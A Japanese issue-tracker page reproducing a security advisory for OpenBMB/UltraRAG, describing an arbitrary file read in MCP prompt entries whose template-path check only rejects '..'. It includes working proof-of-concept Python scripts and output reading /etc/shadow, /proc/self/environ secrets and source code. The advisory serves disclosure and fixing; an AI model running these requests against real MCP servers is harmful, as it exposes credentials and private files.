Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

[SECURITY] Arbitrary file read via absolute path in MCP prompt qa_rag_boxed_multiple_choice (CWE-22, CVSS 7.5)

オープン
#520 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 5 日以内に返信

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
52/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
python
領域
api, backend, security

調査の方向性

Start in servers/prompt/src/prompt.py with _validate_template_path, load_prompt_template, and the affected MCP prompt entries such as qa_boxed and qa_rag_boxed_multiple_choice. Reproduce the listed absolute-path calls, then verify that unintended files are rejected while legitimate template loading still works across the affected entries.

索引モデルが issue の本文から書いたものです。

説明

UltraRAG MCP Prompt qa_rag_boxed_multiple_choice Path Traversal Arbitrary File Read

Summary

The MCP prompt entry qa_rag_boxed_multiple_choice in servers/prompt/src/prompt.py (and all other prompt/tool entries in the same file, such as qa_boxed, qa_rag_boxed, qa_rag_with_memory, totaling 20+) all accept a template: Union[str, Path] parameter as a template file path. This path is validated by the _validate_template_path function, then load_prompt_template reads the file and renders it as a Jinja2 template.

However, _validate_template_path only checks whether the path string contains .., with no base directory whitelist restriction. An attacker can pass an absolute path (e.g., /etc/passwd, /root/.ssh/id_rsa, /proc/self/environ, application config files) to pass validation and read any file content within the server process's permission scope. Although SandboxedEnvironment is used to prevent template injection from escalating to RCE, the file content itself is returned to the caller as the template render result, causing sensitive information disclosure.

Affected Version & Commit

Vulnerability Description

Path Validation Flaw

The _validate_template_path function at servers/prompt/src/prompt.py:20-44 only checks whether the path string contains the .. substring, without restricting the path to any safe base directory (such as a template directory), without validating file extensions, and without using a path whitelist:

def _validate_template_path(template_path: Union[str, Path]) -> Path:
    path = Path(template_path)
    # Check for path traversal
    if ".." in str(path):  # <-- only checks .. substring, no base directory restriction
        raise ValueError(f"Path traversal detected in template path: {template_path}")
    try:
        resolved = path.resolve()
    except (OSError, RuntimeError) as e:
        raise ValueError(f"Invalid template path: {template_path}") from e
    return resolved

This allows an attacker to pass any absolute path (e.g., /etc/passwd, /root/.ssh/id_rsa, application config files) to bypass the .. check, causing the function to read the file's entire content. The file content is compiled as a Jinja2 template string and rendered, then the original text is embedded in PromptMessage and returned to the MCP client.

Although template rendering uses SandboxedEnvironment (prompt.py:17) to prevent SSTI from escalating to RCE, this does not prevent the leakage of the file content itself — for plain text files without Jinja2 directives (e.g., /etc/passwd, SSH private keys, .env files), template.render() returns the file content verbatim.

Data Flow
MCP client → sends prompts/get request with parameter template="/etc/passwd"
  ↓
qa_rag_boxed_multiple_choice (servers/prompt/src/prompt.py:215)
  ↓
load_prompt_template(template) (servers/prompt/src/prompt.py:233)
  ↓
_validate_template_path("/etc/passwd") (servers/prompt/src/prompt.py:20)
  ".." not in "/etc/passwd" → validation passes
  ↓
open(safe_path, "r") (servers/prompt/src/prompt.py:67)
  reads target file content
  ↓
_sandboxed_env.from_string(content) (servers/prompt/src/prompt.py:71)
  ↓
_safe_render(template, ...) (servers/prompt/src/prompt.py:239)
  file content returned as render result to MCP client

Affected Endpoints

  • MCP prompt qa_rag_boxed_multiple_choice (and 20+ prompt entries in the same file)
  • Transport: stdio (default) / HTTP / SSE (depending on MCP transport config)

Exploitation Conditions

Condition Description
Authentication None required by default (MCP default stdio/SSE deployments typically have no auth)
Network reachability Local (stdio) or internal network (HTTP/SSE)
Configuration dependency Triggerable with default configuration, no special config needed
Other prerequisites Attacker must be able to call MCP prompts (needs to know prompt name and parameter format)

Proof of Concept

Test 1: _validate_template_path accepts arbitrary absolute paths (function-level direct verification)
import sys
sys.path.insert(0, '/root/workspace/repo/servers/prompt/src')
from prompt import _validate_template_path, load_prompt_template

# Absolute path test
for p in ["/etc/passwd", "/etc/hostname", "/proc/self/cmdline", "/root/.bashrc", "/etc/os-release"]:
    result = _validate_template_path(p)
    print(f"  accepted: {result}")

# Relative path with .. test
for p in ["../etc/passwd", "foo/../../etc/passwd"]:
    try:
        _validate_template_path(p)
    except ValueError:
        print(f"  blocked: {p}")

# Actual file read test
for target in ["/etc/hostname", "/etc/os-release"]:
    tpl = load_prompt_template(target)
    print(f"  read: {tpl.render()[:200]}")

Actual results:

Absolute paths accepted: 5/5
  [PASS] _validate_template_path('/etc/passwd') -> /etc/passwd
  [PASS] _validate_template_path('/etc/hostname') -> /etc/hostname
  [PASS] _validate_template_path('/proc/self/cmdline') -> /proc/41032/cmdline
  [PASS] _validate_template_path('/root/.bashrc') -> /root/.bashrc
  [PASS] _validate_template_path('/etc/os-release') -> /usr/lib/os-release

'..' paths blocked (as expected):
  [REJECT - EXPECTED] _validate_template_path('../etc/passwd') -> ValueError
  [REJECT - EXPECTED] _validate_template_path('foo/../../etc/passwd') -> ValueError

Files successfully read:
  /etc/hostname -> 'vc-github-comopenbmbultrarag-20260713-004116-377-66tqg'
  /etc/os-release -> 'PRETTY_NAME="Ubuntu 22.04.5 LTS"...'
Test 2: Reading arbitrary files via complete MCP protocol call chain
import asyncio, json
from mcp import ClientSession
from mcp.client.stdio import stdio_client, StdioServerParameters

async def exploit():
    server_params = StdioServerParameters(
        command="python3",
        args=["/root/workspace/repo/servers/prompt/src/prompt.py"],
        env={"PATH": "/root/.pyenv/versions/3.11.9/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
             "PYTHONPATH": "/root/workspace/repo/src:/root/workspace/repo/servers/prompt/src"}
    )
    async with stdio_client(server_params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()

            # Read /etc/hostname via qa_boxed
            result = await session.get_prompt(
                "qa_boxed",
                arguments={
                    "q_ls": json.dumps(["What is the hostname?"]),
                    "template": "/etc/hostname"
                }
            )
            for msg in result.messages:
                print(msg.content.text)

            # Read /etc/os-release via qa_rag_boxed_multiple_choice
            result2 = await session.get_prompt(
                "qa_rag_boxed_multiple_choice",
                arguments={
                    "q_ls": json.dumps(["test question"]),
                    "choices_ls": json.dumps([["Option A", "Option B"]]),
                    "ret_psg": json.dumps([["some passage"]]),
                    "template": "/etc/os-release"
                }
            )
            for msg in result2.messages:
                print(msg.content.text)

asyncio.run(exploit())

Actual results:

MCP session initialized. Available prompts: 26 total.

Test 2a: qa_boxed + /etc/hostname
  [SUCCESS] Got response (54 chars):
    'vc-github-comopenbmbultrarag-20260713-004116-377-66tqg'

Test 2b: qa_rag_boxed_multiple_choice + /etc/os-release
  [SUCCESS] Got response (385 chars):
    'PRETTY_NAME="Ubuntu 22.04.5 LTS"\nNAME="Ubuntu"\nVERSION_ID="22.04"...'

Test 2c: qa_rag_boxed + /etc/passwd
  [SUCCESS] Got response (read completed)

Successful file reads: 3/3
Test 3: Sensitive file content disclosure (environment variables, source code, shadow file)
async def test_sensitive():
    server_params = StdioServerParameters(
        command="python3",
        args=["/root/workspace/repo/servers/prompt/src/prompt.py"],
        env={"PATH": "...",
             "PYTHONPATH": "...",
             "SECRET_API_KEY": "sk-test-12345-secret-key-should-not-leak",
             "DATABASE_PASSWORD": "db_password_super_secret_2026"}
    )
    async with stdio_client(server_params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()

            # 3a: Read /proc/self/environ to leak environment variables
            result = await session.get_prompt("qa_boxed",
                arguments={"q_ls": json.dumps(["test"]), "template": "/proc/self/environ"})
            for msg in result.messages:
                env_vars = msg.content.text.split('\x00')
                for var in env_vars:
                    if 'SECRET_API_KEY' in var or 'DATABASE_PASSWORD' in var:
                        print(f"LEAKED: {var}")

            # 3b: Read application source code
            result2 = await session.get_prompt("qa_boxed",
                arguments={"q_ls": json.dumps(["test"]),
                           "template": "/root/workspace/repo/servers/prompt/src/prompt.py"})
            for msg in result2.messages:
                print(f"Source code: {len(msg.content.text)} chars")

            # 3d: Read /etc/shadow
            result4 = await session.get_prompt("qa_boxed",
                arguments={"q_ls": json.dumps(["test"]), "template": "/etc/shadow"})
            for msg in result4.messages:
                print(f"/etc/shadow: {len(msg.content.text)} chars")

asyncio.run(test_sensitive())

Actual results:

Test 3a: /proc/self/environ - environment variable leak
  [SUCCESS] Got 7 environment variables
    LEAKED: SECRET_API_KEY=sk-test-12345-secret-key-should-not-leak
    LEAKED: DATABASE_PASSWORD=db_password_super_secret_2026

Test 3b: Application source code read
  [SUCCESS] Got source code (36494 chars)

Test 3c: /root/.bashrc read
  [SUCCESS] Got .bashrc (3126 chars)

Test 3d: /etc/shadow read
  [SUCCESS] Got shadow file (644 chars)

Successful sensitive file reads: 4/4

Conclusion

All three hypotheses verified through actual execution:

Test Verification content Result
Test 1 _validate_template_path accepts arbitrary absolute paths ✓ 5/5 absolute paths pass, 2/2 .. paths correctly blocked
Test 2 MCP protocol complete call chain achieves arbitrary file read ✓ Successfully read system files via qa_boxed, qa_rag_boxed_multiple_choice, qa_rag_boxed
Test 3 Sensitive file content disclosure (env vars, source code, shadow) ✓ 4/4 sensitive files successfully read, leaked SECRET_API_KEY and DATABASE_PASSWORD

An attacker only needs to send a prompts/get request via the MCP protocol specifying the absolute path of the target file to read any file content within the MCP server process's permission scope. The root cause is that the _validate_template_path function only checks for the .. substring without imposing a base directory whitelist restriction on the path.

Impact

An attacker can read any file within the MCP server process's permission scope, including:

  • System files (/etc/passwd, /etc/shadow)
  • SSH private keys (/root/.ssh/id_rsa)
  • Application config files (containing database credentials/API keys)
  • Process environment variables (/proc/self/environ)
  • Complete application source code

Severity

CVSS v3.1: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-22 (Path Traversal)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)
主要言語
Python
スター
5.7k
フォーク
450
平均マージ
1日 4時間
マージ済み PR(30日)
3

環境構築

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

OpenBMB/UltraRAG のほかの issue

OpenBMB/UltraRAG の issue をすべて見る

似ている issue

Python の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。